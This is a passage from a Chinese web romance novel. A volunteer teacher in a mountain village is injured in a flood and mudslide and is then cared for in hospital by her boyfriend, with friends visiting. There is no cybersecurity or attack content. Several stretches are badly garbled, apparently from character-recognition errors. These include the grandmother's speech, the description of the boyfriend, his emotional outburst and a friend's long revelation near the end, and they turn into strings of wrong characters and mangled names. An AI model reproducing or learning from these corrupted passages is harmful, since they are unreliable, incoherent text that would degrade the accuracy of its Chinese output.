刘玥本还想帮奶奶炒菜,被贺京夏赶回房间写作业了,她留在厨房跟奶奶聊天。顺便把想给刘玥装人工耳蜗的事给老人说了,十几万块不管放在那儿都是一笔不小的数目,更何况在这座大山,已然是天价老人泪眼婆娑,拿着铲子手止不住在抖,老人的心情贺京夏其实能理解的,别的她也做不了,只能在一旁安慰去平复她的心情小夏者机、老婆子也不的份类话、利这孩子生在街门家展交是求受苦的,圆为目的不最造的回发7青院、设及压治变时道子,且春像河好听,出去技是为了以能带地出去看用朵,其成是不用营,集东制儿是个女道生部几天进打电话回来,诚期细在有子了,找人看过了是个易成 z么等日子好过点,再回来接明儿过去,可日子什么时候才好过呢,小夏老师你不知道我听的多难受,现在我的身体越来越不好,也不知道哪天我就走了,到时候我们家玥儿可怎么办,真就成没人疼没人爱的野孩子。不止是老人哭了,连贺京夏都没忍住哽咽住,大山里女孩子不被看重似乎成为一种常态,而这种常态对贺京夏来说,是一种凌迟。在她的观念中,无论是男孩或是女孩那都是一条生命,在决定让这些生命降临到这个世界,就应该提前做好准备,对这些生命负责,而不是让性别决定她们以后的生存,这是不负责任的行为。明知这些观念是错误的,她却无能为力,因为改变不了什么。似乎只能干看着,她很讨厌这种感觉。在深思熟虑后,她还是开口:“您不用担心,如果真的到那天,我会替您照顾好玥玥,只要她想我肯定会让她走出这座大山。’
多的她不敢保证,资助一个刘玥她还是有能力的。
在这里生活对贺京夏来说很充足,同时也很快乐,每天除了要扛着机器去记录这里的日常,她还会代课教小孩们绘画跟历史,她以故事的角度去讲述历史事件,很生动小孩们很愿意听她说
大家都很积极提问问题,她总是会耐心一个一个去回复,在小孩的眼中小夏老师就是一个知识库丰富的人,她们也想像她一样,所以每天中午图书角几乎都挤满人,大家都很乖,安安静静看书
这里什么都好,就是没办法见到她的爱人。
大山里信号不好,跟裴时晏联系纯靠运气,好的时候也能给他打个视频只是画面会很卡,不好的时候好几天都没办法接收到信息。
她很忙,没办法到处去找信号,等她空下来想起裴时晏时,已是夜深人静时,外边黑得伸手不见五指,出去是一点也不现实。
每到这时,她会在跟他的对话框里输入长长的一段话,有发生的趣事有所见所闻还有对他的思念,就是没有明确告诉他,自己其实很想很想他。
以裴时晏的德行,她要这么说,估计会连夜从槐城跑来。
马上他带的队下个月就要小组赛,在这个紧要的关头,贺京夏是不想他分心的。
再待一周左右,贺京夏就要回去了。
在离开前,贺京夏让刘山河帮忙找了辆车,去镇上购置了一批书,学习用品,还准备了很多吃的,下午没上课,在操场开了个“集体班会”
梁茹佳跟叶览负责带动孩子们做小游戏,来赢奖品,大家可以从买的东西里面挑选自己中意的一件物品。
贺京夏则是站在一旁架起相机,记录下这些治愈鲜活充满生命力的笑容,这一天不止是小孩们开心,连同大人们都被感染。
然而这些快乐并没有维持到第二天。
半夜,贺京夏是被一阵如同战鼓的雷声吵醒。
她轻于轻脚从床上下去,掀开窗帘的一角,雨幕如织,雨势特别凶猛,雨滴砸在玻璃窗上,噼里啪啦响个不停。
忽然,一道闪电像一把利剑划破天空,紧随其后是隆隆震耳的雷声,那阵仗如同恶龙在咆哮,令人胆战心惊。
不知为何,贺京夏心中有一股不踏实的感觉涌了上来,她放下帘子,重新爬回床上。
尽管她已经很努力闭上眼睛,依旧没能入睡。
这一晚,她辗转难眠。
直到窗户外边天色渐渐变亮。
她起身穿衣服,打算出去看看外边的情况。
进行到一半,门外忽然响起叶览的叫喊声,
“夏夏姐,佳佳快起床。”
贺京夏俯下身,扶着床边的扶手往底下看了一眼,梁茹佳还在睡,她只好问:“怎么了?"
“小课堂那边被雨水淹了,我们得过去帮忙。"
闻言,贺京夏心一惊,难怪她一晚上不踏实,总预感会发生点什么。
来不及再想,她赶紧先回:“好,我们马上过去。"
穿好衣服,她马上下去喊梁茹佳。
听到她的声音,梁茹佳条件反射从床上弹坐起,“夏夏姐是到点了吗?”
贺京夏把刚才叶览的话复述了一遍,一听情况不妙,梁茹佳瞬间清醒,拿起衣服就往身上套,速度非常快
外边雨势完全不见有停的趋势。
小课学是给周未没人管的小孩田来自习的,刘山河想着这间屋用的师率也不是很高,就先放一边准备等后面别的地方都翻新好了,再来要这间屋子,没相到作晚会下那么大的雨,门口没设门些结里被雨给冲了
要命的是里面还放了好些书。
虽然在发现的第一时间里他就去抢救,但是还是有一大半被泡了。
82、正文完
虽然很小心,但是还是淋了雨。
回宿舍第一时间贺京夏先把头发擦干,拿了换洗衣服进卫生间,简单洗了个澡,出来就看到桌子上放着一杯还在冒着热气的姜茶,
她还没来得及问,梁茹佳先开口了。
“桌子上的姜茶是丽丽姐刚送来的,她说看到我们都淋了雨,山里这两天温度低,趁热喝了暖暖身子。
不得不说, 张丽丽真的是个细心又体贴的人,这个时候她确实很想喝一杯暖茶,但是在这里想喝一杯暖茶没那么多容易。
这里条件有限,根本不存在饮水机这种便利的东西,饮水是用最原始的方式,在灶台上烧好再用水瓢舀到暖水瓶里,想喝水一口热水,一来一回得一个小时左右。
所以张丽丽这一杯暖茶真的让她暖的从头到脚。
忽然就这么闲下来,贺京夏倒是有些不适应,她还是照例给裴时晏编辑了一大段内容,距离最近的一次收到他的消息是在两天前。
消息点了发送,一直在转圈圈,至于什么时候能发出去,全凭运气了。然后贺京夏把手机放在一旁没再管,打开电脑把之前录好的视频导进去,先去写脚本再剪辑在这里她尽可能让自己充实忙碌起来,这样就分不出精力去想裴时晏。雨天虽说很麻烦,地面上都是水,讨厌这种湿漉漉的感觉。但雨滴敲打的声音,听着像一首无声的旋律,让人心静如水不知不觉中坐到天黑,贺京夏合上电脑伸了个懒腰。
山里信号不好,很多时候她收到消息都是延迟的,而他似乎习惯了这种模式,也不管她能不能及时收到,一如既往给她分享自己的日常,只是不再是文字,改成了语音的模式。
"夏夏姐,你不会从中午到现在,一直就坐在那里剪视频没停下来过?"贺京夏拔下内存卡插回相机里,笑着回应她,“反正闲着也是闲着,索性就把之前的视频弄了。梁茹佳朝她竖起大拇指,佩服道:“姐你真是吾辈楷模,我忽然发现自己真的很失败,浪费了一下午的时间。"
“怎么会。”贺京夏不以为然,淡淡道,“你只是这段时间太累了,好不容易有时间空下来,给身体充充电没什么不好的。"那你为什么不给身体充充电?"“因为我害怕一躺下我脑子里就会想起我喜欢的人。’梁茹佳一直挺好奇能被贺京夏喜欢的人究竟是什么样的,之前跟她的关系虽然挺好,但是还没到可以问很亲密的事,如今听她主动提起,梁茹佳便大胆开问了。”姐,我挺好奇你喜欢的人到底是什么样的,方便给我说说吗?见梁茹佳一脸好奇又迫不及待的模样,贺京夏浅浅笑了下,不是什么不能说的秘密,便满足她的好奇“性他响,是个很好的人,不止是对我,,对人也很好,有一汉续长又好看的丹凤眼,每次笑起来狠尾上想,像个小月牙,要对了,他之前是个运动员,不过现在退设了,我汇置乏,怎么去形容记我眼中的他呢,大极就是积石如玉,列如翠,的海独绝,世天其……“哇,评价很高,想必他一定是个很优秀的人,那你俩谁追谁?""我是个比较木讷的人,他是比较主动那方。"
"你们在一起多久了?"
这个问题贺京夏是经过深思熟虑后才答:“跟很多人一样,,在十七岁时情实初开我们在一起,不够坚定的決心让这段感情不了了之,七年后我们又和好了。
梁茹佳不由地感慨,“真好你们拿的是破镜重圆的剧本,其实我觉得过程不重要,重要的是你们还是选择彼此,这就够了。
是啊,她一样是这么想的,只要彼此还在一起,就够了。
因为暴雨,没办法去镇上买菜,晚饭吃的清淡些,草地里薅自己种的大白菜加了点粉条,配红薯稀饭。
在这样的环境下,能有吃的就已经很不错了。
原以为第二天雨会停,然而并没有。
反而越下越大,越来越急
贺京夏心中隐隐约约升起一股不太好的预感,望着窗外的雨重重地叹了口气。
没办法,这种情况下只能再停一天课。
到了傍晚,刘山河从外边回来,带回的消息让本就因为天气,而沉重的气氛变得更加沉重。
雨水已经淹了附近几户人家。
其中有一家房了因为是十坏建的,加上年头久远被暴雨这么冲,没支撑住塌了一角,那家住着一个九岁的小孩跟一位七十岁的老人。
听刘山河说,能逃过一劫还是因为小孩,房子没塌前小孩跟中了邪一样,就是要拉着老人出去买糖,平时小孩很乖,不哭也不闹,而当时老人怎么哄,小孩就是不听,硬拉着老人就往外走。
老人疼爱孙子,没办法便撑着伞带着小孩出去了,结果没走几步身后房了就塌了。
正好被路过的刘山河看到,就把人带回来,暂时安置在学校住下。
学校地势高,影响不大,可下面的村里地势低,而且四处还围绕着陡峭的山,万一…
贺京夏忽然想起刘玥家住的房了也是士坏房,赶紧给她家打了个电话,只是响了很久都没人接,她的心一下子提到嗓了眼
表面上她还在安慰自己没事的没事的,不能自己吓自己,可手心不知是在何时已经出汗,握着电话那只手不停在颤料。
连续打了三个都是无人接听,此时贺京夏的内心是被恐惧包裹,如同一座大山,压得她有些喘不上来气。
她拼命安慰自己,又打了一个,好在这次响了两声就被人接听。
原来刚才老太太在外面接水,雨声大加上耳朵不太灵敏,没听到电话声,刘玥就更不用说了,耳朵根本就听不到。
得知人平安没事,贺京夏才渐渐放下心,嘱咐了几句才挂断电话。
第三天一大早,刘山河带着叶览去村里看看情况。
贺京夏跟梁茹佳没坐以待毙,两人商量了一下穿上雨衣,扛上机器把这场雨记录下来。
两人没待多久,雨实在是太大了。
不知是怎么了,回宿舍第一时间,贺京夏就给裴时晏发了句我想你了。
而此时裴时晏带着队员们刚在酒店住下,这次比赛场地正好在隔壁省,坐车过去贺京夏那边那就两个小时左右。
虽然她一直没说想自己,但是他确是能从她字里行间看出来。
她是想的。
明天队里正好给队员放一天假,让大家自由活动,有老林头看着他们,不用裴时晏操心。
之前他没告诉贺京夏比赛的城市,就是想能趁着这个机会偷偷跑去给她,一个惊喜,
她一定会很开心,他脑海中甚至浮现出她见到自己时的小表情,一定会先愣住,然后眼睛不可置信瞪大看着他,反应好久才扑过来抱住他。
那双好看的眼眸会弯得像个小月牙,唇角漾着笑,然后仰起头问他,你怎么来了。
而自己一定会先给她一个拥抱,然后再告诉她,因为想她了。
他不在乎路途是否波折遥远,只在乎她见到自己那一刻开不开心。
所以在他收到贺京夏的信息的时候,心情是难以言喻的开心。
从她口中说出来的,总感觉是不一样的。
等不到明天,当天下午裴时晏就包了辆车直接去找贺京夏。
贺京夏这边就没那么幸运了。
村了好几户人家房了都塌了,被安排到学校避难,但是学校前面那段路在暴雨的冲击下,大量泥沙被冲刷下来堵塞了道路。
村子里的人想进进不来,学校里的人想出出不去。
时间陷入了两难的境地。
人在面对没有灵魂的敌手,愈发感到生命的渺小。
直到下午,雨终于有停下的趋势。
刘山河准备再次带叶览出去巡路,他们不知道雨还会不会下,要是还下那泥石流随时会把村子给冲走,村里的人很危险,他们得抓紧时间把里面的人都带出来。
防止有突发情况,刘山河让张丽丽先开学校的面包车先把,人运到路口去等镇上的车。
主要没几个年轻人,几乎都是老人跟小孩,真发生点什么情况,跑都跑不掉。
贺京夏跟梁茹佳选择留下,提着铁锹跟着刘启一块去开路。
走在路上,每踩一步都能感受到泥石流带来的重创,路两侧的大树一棵裸被连根拔起倒在泥水中,农田里即将成熟的庄稼被无情地,冲中散在四处,房屋倒塌浸泡在水中。
昔日的生机在这一瞬间被无情地抹去。
大家一辈了的辛勤就这样化为泡影。
看着眼前满目疮痍的土地,贺京夏既心疼又心酸。
可眼下容不得她伤感,村子里还有人没出来,她得把路给清理出来,她立即举起铁锹化悲愤为动力。
三人一人一条线,举起又落下的动作不知道重复了多少次,贺京夏觉得手臂都麻了,但是她没办法停下来。
刘启跟梁茹佳比她快了一大截。
她恨自己为什么平时不锻炼,三个人里就自己的速度是最慢,
她太急了,以至于都没注意到身后那棵摇摇欲坠的大树。
等她听到断裂声回头去看身后时已经晚了,树朝着她所在的位置倒塌下
身体出于本能反应,飞快往一旁躲,她忘了旁边有一块被泥石流冲下来的大石头。
她脑袋就这么直直撞在石头上。
不知是不是撞出的错觉,倒下前她好像看到裴时晏朝这边跑过来了。
看不清楚他脸上的表情,凭感觉似乎是着急又害怕。
很快耳边出现三道不同的声音在喊她的名字。
“夏夏 "
“小夏老师.…"
“夏夏姐…"
只是她还没来得及回应,眼皮就重重闭上了。
这一觉贺京夏睡得格外沉重,耳边不断有声音在喊她,那道声音很焦急,她很想睁开眼去看看那人,只是任凭她怎么努力,都没办法睁开眼。贺京夏被困住在梦境里,四周是一片漆黑,她一个人走了好久,怎么都走不出去。周身像是被一团迷雾包裹住,怎么挣都脱不开那道束缚
耳边那人不停在说,一开始她听不清楚,后面越来越清晰。
他在说:“夏夏,求求你了,起来看看我好不好?"
她的手被人紧紧握着,能感觉到手背有一股湿润,那触感好像是眼泪。
所以他是哭了吗?
想到这儿,贺京夏心脏传来尖锐的钝痛,就像被人拿刀扎进去一样。
她大口大口喘着气,眼泪从眼角滑落。
她听到一道慌乱的脚步声,然后就是他在喊医生。
贺京夏猛地睁开眼,眼底是未消散的恐惧,她环视了一圈周围,发现自己在一处干净的房间,看布局应该是医院
正疑惑着,门就被推开,几个白大褂很快走到她病床旁,用仪器在给她检查身体。
她视线落到站在后面的裴时爱身上,他整个人看上去比以往憔悴了好多,眼眶底下顶着两团乌黑,眼尾还泛着红,那双漂亮的眼中不再是以往的光彩,取而代之的是深深的疲惫和麻木。
医生说她目前没什么大问题,昏睡应该是受到了惊吓,身体恢复的不错,不过还是要注意多加休息,嘱咐了几句就走了,
送走医生裴时晏并没有走到她跟前,耷拉着脑袋独自站在窗口,不知在想什么。
“阿晏。”贺京夏试探般开口喊他。
裴时晏转过头淡淡看了她一眼,仿佛是在问她有什么事。
"你是讨厌我了吗?"
裴时晏木讷地摇了摇头。
下一秒,贺京夏的眼泪夺眶而出,哽咽道:“那你为什么离我那么远?你心里是在怪我的对不对?"
见到她落泪,裴时晏做不到无动于衷,快步往病床前走去,抬手帮她抹去眼泪。“你先别哭了…贺京夏按住他的手,打断他的话,“对不起,让你担心了,我真的知道错了,你别生气,别不理我。裴时晏头微微往上仰,试图把眼眶中流转泪回去,可是这该死的眼泪怎么都憋不住。积遗了多日的情绪在比刻一开爆发出,他一把将地抱住,语气委屈又后件:“贸京夏你不能这么对我的,不可以的,你明用答应过我会用的好自己,可是你怎么能失信,,让我差一点失去你了,在我的面前,你知不知道我看到物撞上石头剧在地上的时候,有多害伯现在回想起裴时晏身体还是止不住颤抖。差一点,他爱的人死在自己的面前。
没人知道当时他用了多人的勇气才把抱起她,那会儿他几乎全身无力,是要让她活着这个念头支撑着他,才不至于倒下。
他越是这样,贺京夏越是愧疚,越是难受,越是白责。
“是我不好,让你难过了。”贺京夏边道歉边哄他,心里难受极了,“别哭了,好不好,看着你哭我心里好难受。"
不止是他见不得她掉眼泪,她也一样。
83、番外
受伤这事裴时晏替她瞒的很好,没在宋丽跟贺州面前露馅。这么一摔,光洁的额头免不了留下一道疤,虽然还没结痂,但是依旧能看得出像条蜈蚣,每每摸到贺京夏总忍不住叹气。“你会不会有一天因为这条疤嫌弃我?”贺京夏放下镜子,目光移到正垂着头削苹果的裴时晏身上。"媒弃你什么?" 装寸曼将最后一点皮削镇 把苹果切成一小快装在碗里送给地,才继续道,“我只希望你平安,我爱的从来不是你这张险,是皮下这张有趣的灵魂,你要是觉得这疤不好看,那我就带你去浩掉,现在技术那么发达 饮复如初不是什么难事。贺京夏咬了口苹果,闷闷道:“可是我怕疼。”裴时晏抽了张纸,边擦着手里的水果刀,边漫不经心回她:“有不疼的,一阵麻药下去你睡着,等醒过来就好了。"贺京夏顿了下,日不斜视盯着他,“你怎么知道这么多?"怎么看他都是不会对整形这类项目感兴趣的人。所以…是因为她?裴时晏放下水果刀,原本想去拿湿巾, 想了想还是起身朝旁边的卫生间走去。“这问题很难回答?”贺京夏视线追随着他的脚步。"不难。”裴时要用毛巾擦干净手,重新坐回她的身边,拾于轻轻抚模了一下她颜头那道疤,“我怕你知道要留疤后会难过,总要帮你想想办法,程厌姐有朋友是开整形医院的,我找她了解了下。“其实我是开玩笑的,怎么说这道疤都算是一个勋章,就这样留着吧,反正有刘海替我遮住。”贺京夏摊了摊手。裴时晏不说话,只是看向那道疤眼中是止不住的心疼,她多怕疼啊,想到这儿他一把将人抱住,头抵在她颈肩,他闭上眼,一再收紧手臂。良久,耳边传来他沉闷的声音。"如果我早到一点,你一定就会没事了。"贺京夏又不是傻子,怎么会听不出他话语里对自己的责怪,她拍了拍他的肩膀,从他怀里抽出身,双手捧起他的脸颊,迫使他看向自己“装时晏。“贺京夏冷着眉件装生气,“这眼你有什么关系?是我自己的问题,是我当时路忽大意,我不许你怪自己,你做的够多够好了,阿要我们都不是神,没有预知未来的能力,但这不是你的错,下次不要再说这种话,我会真的生气的,。
"可是…"
裴时晏还想再说什么,贺京夏眼疾于快直接手动帮他闭麦。"好了,不许再说了,我想玩会儿游戏,咱们来双排。这段时间贺京夏在养伤,裴时晏担心她累着自己,盯她盯的紧一天就给她玩两个小时手机,除了回复微信上的消息。出了这么大的事,宋冉当然也是知道,特地从京都飞过来看望她,让她先好好休息把身体养好,工作上的事暂时交给别人去做了。没事干,她只能靠打游戏打发一下时间。有裴时晏这个游戏大神陪同,短短几天贺京夏从什么都不懂的小白,到能熟恶每个英雄技能,并且可以合理使用技能每天都覯殫强撅丑部玩上两局。"只能先陪你打一局,今天天气好,等会儿带你下去晒晒太阳。"贺京夏撇撇嘴,不太情愿道:“行吧。为了能一块跟贺京夏打排位,裴时晏特地开了个小号,最近她酷爱玩射手,他就玩辅助跟着她。这局打的没那么顺心,打野不是在送就是在塔里,不参团不推塔纯水,很影响游戏体验感。之前贺京夏不理解一个游戏有必要跟队友喷来喷去吗?
现在白己上手玩之后,她能理解了,真的太有必要了。贺京夏没忍,直接打开队伍麦:“打野你是不识路吗?站这里一动不动感情是在背地图?讲真的你现在应该打开门,走出家门到小学门口等着小孩哥小孩姐放学,她们肯定看不下乐意教教你。队友有没有听到她不知道,反正在一旁的裴时晏听到是没忍住笑了。现在贺京夏骂上头了,听到嗤笑声视线立即转移到他身上,不悦地睨了他一眼。“笑什么笑,很好笑?"
裴时晏眼皮一抬,挑眉道:“觉得你这样特可爱,没忍住就笑了。"裴时晏安抚般摸了一把她的后脑勺,“别气了,有我在输不了。””这把你是辅助,逆风翻盘不了。"
闻言,裴时晏那双丹凤眼微微上挑,薄唇轻扬,“只要想赢,就没有死局。”“看好了。’任何事都不会按照原本轨迹走,只要想随时都可以逆改。后半局基本是裴时晏的个人秀,庄周在他的手里变成了狂暴食人鱼。直到对面水晶被打爆,屏幕出现胜利绝地翻盘的图标,贺京夏才恍惚过来,真赢了。她兴奋地丢下手机,给裴时晏一个结实的拥抱,“大神就是大神,居然真赢了,这就是躺赢的感觉吗?太棒了吧!""都跟你说了,只要你想王者峡谷你可以横着走。“横着走那是螃蟹,我不想走我想躺着。”“怎么都行,只要你高兴。”裴时晏慢悠悠回她,
忽然在这时一阵敲门声响起。
“谁啊?”贺京夏疑感看了眼裴时晏。
医生一天就来一次,早上就检查过了,肯定不可能是医生。
“不知道。”裴时晏转头对着门口说,“进来吧。
突然被打断,贺京夏都忘了自己还抱着裴时晏。
门被推开,陆瑾白跟程厌的身影出现在门口。
程厌视线打量了下病床上的二人,咧着嘴调侃道:“我们俩来的好像不是时候。"注意到程厌的谑笑的眼神,反应过来白己还挂在裴时晏身上,贺京夏赶紧松开手,坐直身子“咳咳.…” 贺京夏清了下嗓子,“怎么会,你来的正是时候。
"没打扰你们吧?”程厌很假的来了一句,
裴时晏抢先一步,很不客气道:“打扰了。贺京夏不满地推了下他,转头面带微笑朝着程厌招手,“厌姐你别管他,快过来这边坐,我好久没见你了,想死你了。"程厌走上去,居高临下瞥了一眼裴时晏,语气特欠:“听见没,赶紧给我让个位。””椅子不就在那,您非要坐这?”裴时晏可不惯她。"椅了硬,我就乐意坐床上。”程厌面无表情怼完他,转头看向贺京夏立马又换了一副面孔,“夏夏,你看他这人怎么这样啊,你可要给我做主呀!贺京夏这人吃软不吃硬,程厌这一套小连招算是把人给拿捏得死死的。下一秒,裴时晏屁股就挨了一脚。"你去坐椅子,厌姐是女孩子,你懂点礼貌让让她。”''不是….….
裴时晏话还没说出来,又挨了一脚,并且还收到贺京夏投来的一记眼神杀。
“好,我让。”裴时晏咬牙切齿说完,瞪了一眼站在一旁看好戏的陆瑾白,“你就这样纵容你媳妇欺负人?"
“我敢说什么?”陆瑾白无奈地摊了摊手,“这里可没我说话的份儿。
裴时晏冷“呵”了一声,慢慢吐出三个字:“妻管严。”
陆瑾白不恼,揽上他的肩,贱兮兮回敬他:“彼此彼此,在这方面我还得喊你哥哥,所以大哥就不要说二弟了。
"你跟厌姐真是一家人。”裴时晏说,“都一副欠欠的嘴脸。”
“那是白然,毕竟我们是妇唱大随。”陆瑾白丝毫不觉得有什么不对,一脸骄傲的模样。“好赖话听不出来。”裴时晏无差别攻击。陆瑾白知道治不了他,但有人能治,委屈巴巴望着自家媳妇。要不怎么说撒娇男人最好命,要不然这尾巴不得翘上天去。程厌接受到陆瑾白的信号,立马就握上贺京夏的手,柔情地注视着她,娇嗔道!"你听听这人说的什么话,不尊老爱幼也就算了连自家兄弟都不放过夏夏我真怕以后你日子不好过,这男人就得管得在他面前树V威严“不是,你们大妻俩是来给我添堵的吧?”裴时晏不是什么迟钝的人,怎么会察觉不到。陆瑾白跟程厌笑而不语,算是默认了。
“阿晏,我想吃栗了糕了,你去给我买点吧。”贺京夏笑着对他说。
裴时晏抿了下唇,对她妥协道:“知道了祖宗,这就去。”
“晏哥等等我,咱俩一块。"
"上一边去,重色轻友的狗东西。
陆瑾白:“直到他们的声音消失,程厌才从床上站起来,她拉平被坐的有些褶皱的被面,暖心地帮贺京夏掖好两侧的被子。"可算走了。”程厌把包放在桌子上,接着说,“就你能治得住这小子。”"他也就在你面前这样,对别人礼貌归礼貌,但凡说一句他不乐意听的,甩都不带甩人家,以前我就在想到底什么样的姑娘才能拿下他,原来是你这样可爱又漂亮的女孩子,他有福了。“姐,别夸了,我遭不住了。”贺京夏不太好意思,双手捧着自己的脸,笑得腼腆。姐说的话都是心里话,不用不好意思。”程厌被她这副害着的模样给逗乐了,小姑娘真容易脸红,
"姐,对不起啊,你生了我都没来得及去看你,还害你月子里跑来看我。"程厌不在意地摆了摆手,“你就是想看我也挤不进去,那两天病房都是我们两家的七大姑八大姨,要不是我躺在床上,说不定给我都挤走了。“是不是特别疼?”贺京夏说着,心疼地握住程厌的手。
程厌笑着拍了拍她的手背,跟她说:“就那样吧,真想知道,等过个三四年你跟阿晏生一个就知道了。这话题怎么就扯到她身上了。她这人特不经逗,脸颊两侧瞬间红温起来。“姐,我们…….还早着呢,一时半会是体验不了。”贺京夏磕磕绊绊道“别考虑那么早,多二人世界几年,等什么时候想要了顺其自然,我这是意外加上确实年纪到了,用我们老家话说,来都来了那就留下吧。程厌今年二十八了,本身对孩子接受程度还算可以,得知这个消息她还算比较淡定,反倒是陆瑾白知道这个消息满心担忧,特别是了解生孩子的过程后,他后悔自己大意了,还动了打掉的念头
气的程厌给了他脑壳一巴掌。孩子对于贺京夏来说,还是比较遥远的,现在连自己都照顾不好,更不要说让她照顾一个小的,那简直就是在要她的命。一想到这儿她下意识摇了下头。程厌没懂她的意思,“你是要生还是不生?"
贺京夏抿了下唇,不确定问:“这是我能决定的吗?"“当然。”程厌说,"生育自由本在我们自己的手上,没人可以让我们理应去服从,你是自由的我也是,天下每一位女性都是,生育不是我们必须的义务。“孩子对我来说太陌生了。”贺京夏顿了下,抬头冲她笑,“我自己都还没长大。“这事不用着急去想,不过有些话我还是想跟你说,我觉得这些话如果我不说,大概这辈子你都不会知道。
程厌太严肃,贺京夏下意识坐正身子,然后点头示意她继续往下说。夏息,网蛋定发告系久 现0年可是易服先、地果工车苦数烧门 一千二$,家里设人司得也,当列地除差点设果生,可时算是这样,他菜装刚是出快车、丰人家部也命,有会日来排你,他一及物食言,七年队华盛发到脉如出通川地装了一百六十3,海个生重要发深间他都没错过,我问他后海吗,他说只怪自己那年纪小,不够强大没能护件这段感情,我跟你说这些不是为了让你自责内疚,是相告诉你、多爱自己一点多想着自己一点,你的命很重要,因为一直有人在记挂着你"最爱他的那几个人都离开了,现在他的身边只有你了。"程民了下,接着道:“他知道你门当年分手的真相后,第时间回了装家找白可虎,现物少的用凶,美家上下地说鸡大不字,听我写说后面见血了,这么多年,他没一天是真的走出来过,我问地很不很你,他法用能期,舍不得,对你,他总是不舍得,所以用上地前,日房拓你了。这些话程厌想说很久了,只是一直没机会。现在说出来,她觉得轻松多了。而此刻贺京夏笑得有些勉强,心里有种说不出的滋味。